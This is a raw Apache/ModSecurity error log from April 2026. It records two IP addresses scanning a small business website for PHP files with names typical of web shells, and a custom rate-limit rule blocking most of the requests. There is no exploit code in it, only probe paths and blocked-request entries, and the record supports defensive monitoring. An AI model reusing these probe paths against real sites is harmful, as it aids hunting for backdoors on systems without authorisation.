[Fri Apr 24 03:59:39.351498 2026] [:error] [pid 19200:tid 19227] [client 20.215.57.60:28128] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aep6KzQ--M3-tsKAnhFTiQAAANM"]
[Fri Apr 24 03:59:45.024580 2026] [:error] [pid 19200:tid 19229] [client 20.215.57.60:24643] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aep6MTQ--M3-tsKAnhFTtwAAANU"]
[Fri Apr 24 03:59:46.154940 2026] [:error] [pid 19102:tid 19178] [client 20.215.57.60:5120] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aep6MgDSgrbLEZbkqD6H-AAAAI4"]
[Fri Apr 24 03:59:48.280073 2026] [:error] [pid 19102:tid 19167] [client 20.215.57.60:55307] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww2.php"] [unique_id "aep6NADSgrbLEZbkqD6H_AAAAIM"]
[Fri Apr 24 03:59:49.697691 2026] [:error] [pid 19101:tid 19150] [client 20.215.57.60:39296] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww2.php"] [unique_id "aep6NWAHj9bEvrTgbO2jBwAAAE0"]
[Fri Apr 24 03:59:51.556678 2026] [:error] [pid 19102:tid 19182] [client 20.215.57.60:55339] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww2.php"] [unique_id "aep6NwDSgrbLEZbkqD6ICQAAAJI"]
[Fri Apr 24 03:59:53.499418 2026] [:error] [pid 19100:tid 19125] [client 20.215.57.60:31567] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww2.php"] [unique_id "aep6ObF_hzQs4CqbiffjJQAAAA8"]
[Fri Apr 24 03:59:55.226552 2026] [:error] [pid 19100:tid 19126] [client 20.215.57.60:33129] File does not exist: /usr/local/apache/htdocs/suspended-page/ww3.php
[Fri Apr 24 03:59:55.521820 2026] [:error] [pid 19100:tid 19122] [client 20.215.57.60:33129] File does not exist: /usr/local/apache/htdocs/suspended-page/bal.php
[Fri Apr 24 03:59:55.821057 2026] [:error] [pid 19100:tid 19116] [client 20.215.57.60:33129] File does not exist: /usr/local/apache/htdocs/suspended-page/in.php
[Fri Apr 24 03:59:56.105727 2026] [:error] [pid 19100:tid 19129] [client 20.215.57.60:33129] File does not exist: /usr/local/apache/htdocs/suspended-page/gssdd.php
[Fri Apr 24 03:59:56.681055 2026] [:error] [pid 19100:tid 19128] [client 20.215.57.60:33129] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Fri Apr 24 03:59:57.251375 2026] [:error] [pid 19100:tid 19131] [client 20.215.57.60:33129] File does not exist: /usr/local/apache/htdocs/suspended-page/axx.php
[Fri Apr 24 03:59:57.547723 2026] [:error] [pid 19100:tid 19120] [client 20.215.57.60:33129] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Fri Apr 24 03:59:57.846427 2026] [:error] [pid 19100:tid 19110] [client 20.215.57.60:33129] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Fri Apr 24 03:59:58.129805 2026] [:error] [pid 19100:tid 19132] [client 20.215.57.60:33129] File does not exist: /usr/local/apache/htdocs/suspended-page/file48.php
[Fri Apr 24 03:59:58.409887 2026] [:error] [pid 19100:tid 19134] [client 20.215.57.60:33129] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aep6PrF_hzQs4CqbiffjQAAAABg"]
[Fri Apr 24 04:00:00.205008 2026] [:error] [pid 19100:tid 19128] [client 20.215.57.60:33136] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aep6QLF_hzQs4CqbiffjRQAAABI"]
[Fri Apr 24 04:00:01.715537 2026] [:error] [pid 19101:tid 19144] [client 20.215.57.60:54061] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aep6QWAHj9bEvrTgbO2jNgAAAEc"]
[Fri Apr 24 04:00:05.166698 2026] [:error] [pid 19100:tid 19115] [client 20.215.57.60:20564] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aep6RbF_hzQs4CqbiffjTwAAAAY"]
[Fri Apr 24 04:00:07.857081 2026] [:error] [pid 19100:tid 19124] [client 20.215.57.60:57901] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aep6R7F_hzQs4CqbiffjVwAAAA4"]
[Fri Apr 24 04:00:09.923480 2026] [:error] [pid 19102:tid 19188] [client 20.215.57.60:42245] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aep6SQDSgrbLEZbkqD6IMQAAAJg"]
[Fri Apr 24 04:00:12.527088 2026] [:error] [pid 19200:tid 19219] [client 20.215.57.60:27157] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aep6TDQ--M3-tsKAnhFULgAAAMs"]
[Fri Apr 24 04:00:14.669906 2026] [:error] [pid 19100:tid 19133] [client 20.215.57.60:24645] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "aep6TrF_hzQs4CqbiffjfQAAABc"]
[Fri Apr 24 04:00:15.608759 2026] [:error] [pid 19200:tid 19209] [client 20.215.57.60:16173] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aep6TzQ--M3-tsKAnhFUPgAAAME"]
[Fri Apr 24 04:00:17.055566 2026] [:error] [pid 19101:tid 19141] [client 20.215.57.60:41263] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aep6UWAHj9bEvrTgbO2jVAAAAEQ"]
[Fri Apr 24 04:00:18.807117 2026] [:error] [pid 19101:tid 19154] [client 20.215.57.60:36129] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aep6UmAHj9bEvrTgbO2jVgAAAFE"]
[Fri Apr 24 04:00:20.400968 2026] [:error] [pid 19101:tid 19144] [client 20.215.57.60:30704] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ew.php"] [unique_id "aep6VGAHj9bEvrTgbO2jWgAAAEc"]
[Fri Apr 24 04:00:24.855723 2026] [:error] [pid 19101:tid 19145] [client 20.215.57.60:49884] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/485.php"] [unique_id "aep6WGAHj9bEvrTgbO2jZgAAAEg"]
[Fri Apr 24 04:00:27.884435 2026] [:error] [pid 19101:tid 19158] [client 20.215.57.60:19546] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/485.php"] [unique_id "aep6W2AHj9bEvrTgbO2jbwAAAFU"]
[Fri Apr 24 04:00:29.109487 2026] [:error] [pid 19102:tid 19168] [client 20.215.57.60:27666] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/485.php"] [unique_id "aep6XQDSgrbLEZbkqD6IbAAAAIQ"]
[Fri Apr 24 04:00:31.882707 2026] [:error] [pid 19102:tid 19183] [client 20.215.57.60:49456] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/485.php"] [unique_id "aep6XwDSgrbLEZbkqD6IeAAAAJM"]
[Fri Apr 24 04:00:34.743458 2026] [:error] [pid 19100:tid 19133] [client 20.215.57.60:34603] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "aep6YrF_hzQs4CqbiffjnQAAABc"]
[Fri Apr 24 04:00:36.821370 2026] [:error] [pid 19101:tid 19137] [client 20.215.57.60:34622] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "aep6ZGAHj9bEvrTgbO2jhgAAAEA"]
[Fri Apr 24 04:00:42.777799 2026] [:error] [pid 19200:tid 19210] [client 20.215.57.60:5201] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "aep6ajQ--M3-tsKAnhFUrQAAAMI"]
[Fri Apr 24 04:00:44.595420 2026] [:error] [pid 19102:tid 19184] [client 20.215.57.60:33025] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "aep6bADSgrbLEZbkqD6InwAAAJQ"]
[Fri Apr 24 04:00:47.563120 2026] [:error] [pid 19200:tid 19221] [client 20.215.57.60:20042] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aep6bzQ--M3-tsKAnhFUvwAAAM0"]
[Fri Apr 24 04:00:50.609719 2026] [:error] [pid 19100:tid 19122] [client 20.215.57.60:27708] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aep6crF_hzQs4CqbiffjxAAAAAw"]
[Fri Apr 24 04:00:53.659096 2026] [:error] [pid 19101:tid 19148] [client 20.215.57.60:29120] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aep6dWAHj9bEvrTgbO2jowAAAEs"]
[Fri Apr 24 04:00:57.324431 2026] [:error] [pid 19102:tid 19177] [client 20.215.57.60:34609] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "aep6eQDSgrbLEZbkqD6I2gAAAI0"]
[Fri Apr 24 04:00:58.535601 2026] [:error] [pid 19102:tid 19185] [client 20.215.57.60:58500] File does not exist: /usr/local/apache/htdocs/suspended-page/hypo.php
[Fri Apr 24 04:00:58.825663 2026] [:error] [pid 19102:tid 19179] [client 20.215.57.60:58500] File does not exist: /usr/local/apache/htdocs/suspended-page/file18.php
[Fri Apr 24 04:00:59.126991 2026] [:error] [pid 19102:tid 19171] [client 20.215.57.60:58500] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Fri Apr 24 04:00:59.712780 2026] [:error] [pid 19102:tid 19186] [client 20.215.57.60:58500] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Fri Apr 24 05:22:41.736804 2026] [:error] [pid 19101:tid 19150] [client 20.216.186.228:54011] File does not exist: /usr/local/apache/htdocs/suspended-page/gpt-sh.php
[Fri Apr 24 05:22:41.976459 2026] [:error] [pid 19101:tid 19158] [client 20.216.186.228:54011] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Fri Apr 24 05:22:42.216076 2026] [:error] [pid 19101:tid 19140] [client 20.216.186.228:54011] File does not exist: /usr/local/apache/htdocs/suspended-page/aevly.php
[Fri Apr 24 05:22:42.456291 2026] [:error] [pid 19101:tid 19138] [client 20.216.186.228:54011] File does not exist: /usr/local/apache/htdocs/suspended-page/ta0ol.php
[Fri Apr 24 05:22:42.699655 2026] [:error] [pid 19101:tid 19153] [client 20.216.186.228:54011] File does not exist: /usr/local/apache/htdocs/suspended-page/aligk.php
[Fri Apr 24 05:22:42.937934 2026] [:error] [pid 19101:tid 19149] [client 20.216.186.228:54011] File does not exist: /usr/local/apache/htdocs/suspended-page/users.php
[Fri Apr 24 05:22:44.287848 2026] [:error] [pid 19101:tid 19156] [client 20.216.186.228:54011] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Fri Apr 24 05:22:44.539380 2026] [:error] [pid 19101:tid 19144] [client 20.216.186.228:54011] File does not exist: /usr/local/apache/htdocs/suspended-page/zc-243.php
[Fri Apr 24 05:22:44.780293 2026] [:error] [pid 19101:tid 19155] [client 20.216.186.228:54011] File does not exist: /usr/local/apache/htdocs/suspended-page/bkyac.php
[Fri Apr 24 05:22:45.015202 2026] [:error] [pid 19101:tid 19142] [client 20.216.186.228:54011] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aeqNpWAHj9bEvrTgbO3C0QAAAEU"]
[Fri Apr 24 05:22:45.828814 2026] [:error] [pid 52129:tid 52137] [client 20.216.186.228:44299] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aeqNpeKCZKf8_u2LKiBBWgAAAQQ"]
[Fri Apr 24 05:22:47.239440 2026] [:error] [pid 19102:tid 19184] [client 20.216.186.228:52622] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aeqNpwDSgrbLEZbkqD6wHwAAAJQ"]
[Fri Apr 24 05:22:48.023160 2026] [:error] [pid 19102:tid 19173] [client 20.216.186.228:64579] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "aeqNqADSgrbLEZbkqD6wIgAAAIk"]
[Fri Apr 24 05:22:48.663347 2026] [:error] [pid 19101:tid 19141] [client 20.216.186.228:52660] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeqNqGAHj9bEvrTgbO3C1gAAAEQ"]
[Fri Apr 24 05:22:49.559358 2026] [:error] [pid 19100:tid 19132] [client 20.216.186.228:50826] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeqNqbF_hzQs4Cqbiff92QAAABY"]
[Fri Apr 24 05:22:50.208393 2026] [:error] [pid 19100:tid 19118] [client 20.216.186.228:57701] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeqNqrF_hzQs4Cqbiff93AAAAAg"]
[Fri Apr 24 05:22:50.933171 2026] [:error] [pid 19100:tid 19111] [client 20.216.186.228:65129] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aeqNqrF_hzQs4Cqbiff94AAAAAI"]
[Fri Apr 24 05:22:51.548261 2026] [:error] [pid 52129:tid 52144] [client 20.216.186.228:51269] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aeqNq-KCZKf8_u2LKiBBcAAAAQs"]
[Fri Apr 24 05:22:52.094595 2026] [:error] [pid 52129:tid 52153] [client 20.216.186.228:58260] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aeqNrOKCZKf8_u2LKiBBdQAAARQ"]
[Fri Apr 24 05:22:52.638278 2026] [:error] [pid 52129:tid 52148] [client 20.216.186.228:65142] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aeqNrOKCZKf8_u2LKiBBewAAAQ8"]
[Fri Apr 24 05:22:53.270194 2026] [:error] [pid 52129:tid 52153] [client 20.216.186.228:65106] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/7logs.php"] [unique_id "aeqNreKCZKf8_u2LKiBBgAAAARQ"]
[Fri Apr 24 05:22:53.994928 2026] [:error] [pid 52129:tid 52141] [client 20.216.186.228:57669] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeqNreKCZKf8_u2LKiBBhwAAAQg"]
[Fri Apr 24 05:22:54.546782 2026] [:error] [pid 52129:tid 52143] [client 20.216.186.228:44337] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeqNruKCZKf8_u2LKiBBigAAAQo"]
[Fri Apr 24 05:22:55.268659 2026] [:error] [pid 19200:tid 19208] [client 20.216.186.228:59556] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeqNrzQ--M3-tsKAnhGIBAAAAMA"]
[Fri Apr 24 05:22:55.902723 2026] [:error] [pid 19102:tid 19184] [client 20.216.186.228:44288] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeqNrwDSgrbLEZbkqD6wKQAAAJQ"]
[Fri Apr 24 05:22:56.449732 2026] [:error] [pid 52129:tid 52153] [client 20.216.186.228:52670] [client 20.216.186.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aeqNsOKCZKf8_u2LKiBBjgAAARQ"]
